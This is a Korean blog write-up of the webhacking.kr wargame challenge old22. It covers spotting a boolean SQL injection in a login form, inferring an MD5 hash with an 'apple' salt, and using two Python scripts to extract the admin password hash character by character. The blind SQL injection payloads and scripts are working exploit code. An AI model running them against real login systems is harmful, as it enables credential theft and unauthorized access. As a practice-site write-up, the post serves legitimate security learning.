webhacking.kr - old22
2021. 4. 11. 17:49ㆍWarGame/webhaking.kr
문제 화면에 접속하면 admin으로 접속하라고 나옵니다!!
기본적인 sqli 를 해보니
구문이 참이 되는 경우에는
아래와 같이 나오고,
구문이 거짓인 경우는
login fail이라고 나옵니다.
근데 join버튼이 있으니 회원가입을 진행해보면
username : m0nd2y
pw : 1234
완료되었다고 뜨고, 로그인해주면
해쉬값이 나옵니다.
hash가 32자리니까 md5일 가능성이 높고, decrypt돌려주면
전에 입력했던 비번 + apple 이 출력되는것을 알 수 있습니다.
salt 값이 apple 이라고 추측할 수 있겠죠.
이제 admin의 비번을 알아내기 위해 아까 찾았던 1'or'1=1'-- -구문을 변환해서
> admin'and length(pw)="+str(i)+"-- -"
구문을 활용해줍니다.
import requests
import string
URL = "https://webhacking.kr/challenge/bonus-2/index.php"
for i in range(32, 100) :
payload = "admin'and length(pw)="+str(i)+"-- -"
data = {'uuid': payload, 'pw': '1234'}
response=requests.post(URL, data=data)
print(i)
if("Wrong password!" in response.text) :
print("length(pw) = " + str(i))
위 코드를 확인하면
비번이 32자리인 것을 확인할 수 있고,
비밀번호를 찾는 payload를 돌려주면
import requests
import string
result = ""
test = string.digits + string.ascii_lowercase + string.ascii_uppercase
print(test)
for i in range(1, 33) :
for j in test :
payload = "admin\'and ascii(substr(pw,"+str(i)+",1))="+str(ord(str(j)))+"-- -"
data = {'uuid': payload, 'pw': '1234'}
response=requests.post(URL, data=data)
if("Wrong password!" in response.text) :
print("["+str(i)+"th] password is = " + str(j))
result += str(j)
print(result)
break;
print(result)
아래와 같이 admin의 hash값을 구할 수 있고 이를 변환해주면
아래와 같이
wowapple 이란 값을 가지고 있는 것을 확인할 수 있습니다.
apple은 아마도 salt값일테니, wow를 비밀번호로 입력해주면
풀이가 가능합니다.
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old28 (0) | 2021.04.13 |
---|---|
webhacking.kr - old55 (0) | 2021.04.12 |
webhacking.kr - old52 (0) | 2021.04.10 |
webhacking.kr - old60 (0) | 2021.04.07 |
webhacking.kr - old53 (0) | 2021.04.07 |